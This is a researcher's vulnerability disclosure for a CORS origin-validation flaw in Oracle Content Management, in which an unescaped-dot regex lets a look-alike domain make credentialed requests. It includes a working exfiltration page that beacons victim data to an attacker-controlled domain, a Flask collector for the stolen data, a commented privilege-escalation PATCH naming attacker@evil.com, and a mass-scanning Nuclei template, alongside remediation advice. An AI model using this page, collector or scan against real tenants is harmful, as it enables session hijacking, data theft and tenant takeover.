Oracle Content Management (CMS) - One Click Account Takeover

A CORS misconfiguration in Oracle Content Management leads to massive CSRF which can turn into one-click account takeover

#CORS#Oracle#Oracle Cloud#Content Management#Regex#Account Takeover#CWE-942#CWE-346#Nuclei
Oracle Content Management (CMS) - One Click Account Takeover

Summary

Oracle Content Management (OCM/CMS) is Oracle’s cloud-based headless CMS and digital-experience platform — organisations worldwide use it to store, manage and publish content and power their websites through its REST APIs.

The finding: OCM validates CORS origins with an unescaped-dot regex, so a cheap look-alike domain is accepted with credentials. Because Oracle’s own docs told every tenant to whitelist their own hostname, a single victim click hands an attacker their authenticated session — a fleet-wide, one-click account takeover.

Vulnerability Info

Reported by Hesham Mahmoud Aka 0xRyuzak1
Date 20 Aug 2023
Target Oracle Content Management (CMS) — *.cec.ocp.oraclecloud.com
Severity Critical
Class CWE-942 (Overly Permissive CORS) · CWE-346 (Origin Validation Error)
Auth Required None for the attacker — victim must have an active OCM session
Scope Fleet-wide — any tenant that followed Oracle’s CORS setup documentation
Prerequisite Victim opens an attacker-controlled link while authenticated to OCM

Description

To let customers’ own web apps call those REST APIs from the browser, OCM lets tenants whitelist origins for Cross-Origin Resource Sharing. Under the hood the allowlist is enforced with a regular expression built directly from the configured origin string — and the dots in that string are never escaped. In a regex, . matches any character, so a whitelist entry of:

https://companyname.cec.ocp.oraclecloud.com

silently under the hood also authorises:

https://companyname.cecXocpYoraclecloudZcom     (X, Y, Z = any character)

The trap is that Oracle’s own documentation instructs every customer to paste exactly https://<tenant>.cec.ocp.oraclecloud.com into the CORS origins box. Following the documented, “correct” configuration is precisely what makes a tenant exploitable — so the flaw is not a one-off customer mistake but a fleet-wide condition affecting essentially every OCM customer who ever enabled CORS.

The OCM Security console — the documented, "correct" CORS setup that makes a tenant vulnerable.

Worse, OCM reflects the attacker origin together with Access-Control-Allow-Credentials: true, so the cross-origin requests carry the victim’s session cookies. A victim who merely opens a link gives the attacker authenticated read access to their Sites, Channels, Repositories and Taxonomies — and, via a PATCH on the sites API, an attacker-controlled privilege escalation into their tenant.

Root Cause — the unescaped dot

OCM matches the incoming Origin header against the configured allowlist using regex matching instead of exact string comparison. The configured value is interpolated into the pattern with its literal dots intact:

allowed  = "https://companyname.cec.ocp.oraclecloud.com"
pattern  = /https:\/\/companyname.cec.ocp.oraclecloud.com/     ← dots NOT escaped

Because . is the regex “any character” metacharacter, the pattern accepts far more than the intended host. Every one of these origins passes validation:

https://companyname.cec.ocp.oraclecloud.com    ← intended
https://companyname.cecaocpaoraclecloudacom     ← dots → 'a'
https://companyname.cec-ocp-oraclecloud-com     ← dots → '-'
https://companyname.cecXocpXoraclecloudXcom     ← dots → anything

The only “fixed” separator an attacker cannot alter is the first dot after the tenant label (it delimits a real DNS subdomain). Everything to the right of it collapses into a single registrable domain.

From wildcard to a domain you can actually buy

Collapse the wildcard dots and the intended host:

companyname . cec.ocp.oraclecloud.com          (four dotted labels)

becomes reachable through the registrable domain:

cecaocpaoraclecloud.com       (one domain to rule them all 😂 — available to register)

The attacker registers cecaocpaoraclecloud.com, creates the subdomain companyname.cecaocpaoraclecloud.com, and that FQDN matches the victim tenant’s CORS regex character-for-character. No takeover of Oracle infrastructure is required — just a ~$1 domain.

The collapsed look-alike domain `cecaocpaoraclecloud.com` — an EXACT MATCH, available to register for pocket change.

Proof of Concept

1. Confirm the reflection (Burp / curl)

Send a preflight-style request with the look-alike origin and observe the response headers:

curl -s -I -X OPTIONS \
  'https://companyname.cec.ocp.oraclecloud.com/content/published/api/v1.1/items' \
  -H 'Origin: https://companyname.cecaocpaoraclecloud.com'

The server reflects the malicious origin and allows credentials:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://companyname.cecaocpaoraclecloud.com
Access-Control-Allow-Credentials: true

ACAO reflecting a non-Oracle origin next to ACAC: true is the whole vulnerability in two lines: the browser will now execute credentialed cross-origin requests from the attacker’s page and hand back the responses.

Burp: the look-alike `Origin` is echoed straight back into `Access-Control-Allow-Origin`, alongside `Access-Control-Allow-Credentials: true`.

2. Weaponised page — hosted on the look-alike domain

Registered cecaocpaoraclecloud.com, subdomain companyname.cecaocpaoraclecloud.com, serving:

<html>
<script>
function exfil(verb, url, headers, label, body) {
  var x = new XMLHttpRequest();
  x.onreadystatechange = function () {
    if (this.readyState === 4 && this.status === 200) {
      // ship the response to the attacker's collector, base64-encoded
      new Image().src = "https://cecaocpaoraclecloud.com/collect.html?c="
                      + btoa(label + " " + x.responseText);
    }
  };
  x.withCredentials = true;                 // ← carries the victim's OCM cookies
  x.open(verb, url);
  if (headers) for (var k in headers) x.setRequestHeader(k, headers[k]);
  body ? x.send(JSON.stringify(body)) : x.send();
}

var T = "https://companyname.cec.ocp.oraclecloud.com";

// Read the victim's tenant
exfil("GET", T + "/content/management/api/v1.1/channels",     {"Authorization":"Session"}, "Channels:");
exfil("GET", T + "/content/management/api/v1.1/repositories", {"Authorization":"Session"}, "Repos:");
exfil("GET", T + "/content/management/api/v1.1/taxonomies",   {"Authorization":"Session"}, "Taxonomies:");
exfil("GET", T + "/sites/management/api/v1/sites",            "",                          "Sites:");

// Privilege escalation — add the attacker as a site manager (one-liner, victim-authorised)
// exfil("PATCH",
//   T + "/sites/management/api/v1/sites/<SITE_ID>/members/user:attacker@evil.com",
//   {"Content-Type":"application/json"}, "PrivEsc:", {"role":"manager"});
</script>
</html>

When an authenticated OCM user opens the link, the browser:

  1. issues each request cross-origin with withCredentials = true;
  2. attaches the victim’s OCM session cookies;
  3. passes CORS validation because the malicious origin matches the tenant’s unescaped-dot regex;
  4. returns the full JSON responses to the attacker’s page, which exfiltrates them to the collector.

3. Attacker collector (server.py)

A minimal HTTPS Flask endpoint decodes and stores whatever the page beacons out:

import ssl, base64
from flask import Flask, request, send_from_directory
app = Flask(__name__)

@app.route('/')
def index():
    return send_from_directory('.', 'index.html')

@app.route('/collect.html')
def collect():
    c = request.args.get('c')
    if not c:
        return 'Missing "c"\n', 400
    with open('output.txt', 'ab') as f:
        f.write(base64.b64decode(c) + b'\n\n')
    return 'ok\n', 200

if __name__ == '__main__':
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain('./server.pem')
    app.run(host='0.0.0.0', port=443, ssl_context=ctx)

DevTools on the attacker page (`companyname.cecaocpaoraclecloud.com`): the credentialed `channels`/`repositories`/`taxonomies`/`sites` calls all return 200, then beacon out via `collect.html`.

output.txt fills with the victim’s Sites, Channels, Taxonomies and Repositories — omitted here as the captured data is sensitive.

Measuring the blast radius at scale

Because the misconfiguration originates from Oracle’s documentation rather than any single tenant, it is reproducible across the customer base. I codified the check as a Nuclei template — the key idea is to send the origin with each dot rewritten to a benign character ({{replace(FQDN,'.','a')}}) and confirm the server still reflects it with credentials:

id: cors-misconfig

info:
  name: CORS Misconfiguration
  author: Hesham Mahmoud
  severity: high
  tags: cors,generic,misconfig

http:
  - raw:
      - |
        OPTIONS /content/published/api/v1.1/items HTTP/1.1
        Host: {{Hostname}}
        Origin: {{cors_origin}}

    payloads:
      cors_origin:
        - "https://{{replace(FQDN,'.','a')}}"   # dots → 'a' to abuse the regex
        - "http://{{replace(FQDN,'.','a')}}"

    stop-at-first-match: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - "contains(tolower(all_headers), 'access-control-allow-origin: {{cors_origin}}')"
          - "contains(tolower(all_headers), 'access-control-allow-credentials: true')"

Run across OCM tenants, the template flagged thousands of vulnerable customers — each one exploitable via the same register-a-look-alike-domain technique.

Nuclei firing `cors-misconfig:arbitrary-origin [high]` on tenant after tenant — every target hostname and origin redacted, leaving only the sheer count of hits.

Impact

  • Authenticated data theft — Sites, Channels, Repositories and Taxonomies are read with the victim’s own session, no credentials required from the attacker.
  • Privilege escalation / tenant takeover — the PATCH .../sites/<id>/members/user:<attacker> call runs in the victim’s authenticated context, letting an attacker grant themselves a manager role on a target site.
  • Credentialed CORSAccess-Control-Allow-Credentials: true alongside a reflected attacker origin turns a “read-only” misconfig into full session-riding.
  • Fleet-wide exposure — the vulnerable configuration is the documented one, so the default population of at-risk tenants is effectively “everyone who enabled CORS.”
  • Low attacker cost — a single registrable look-alike domain (no Oracle-side compromise) plus a link the victim clicks.

Recommendation

  • Do not build the allowlist from a regex. Compare the incoming Origin against configured values with exact string matching. This removes the metacharacter class entirely.
  • If a pattern engine must be used, escape the configured value (\. for every literal dot) and anchor it (^...$) so it cannot match extra characters or substrings.
  • Never pair Access-Control-Allow-Credentials: true with a dynamically reflected origin unless that origin has passed strict, exact validation.
  • Fix the documentation. Because customers copy Oracle’s guidance verbatim, the guidance itself must produce a safe configuration — a code fix without a docs fix leaves the guidance encouraging the same mistake.

Credit

Oracle acknowledged this report and credited me — Hesham Mahmoud — in their Critical Patch Update Advisory of January 2024.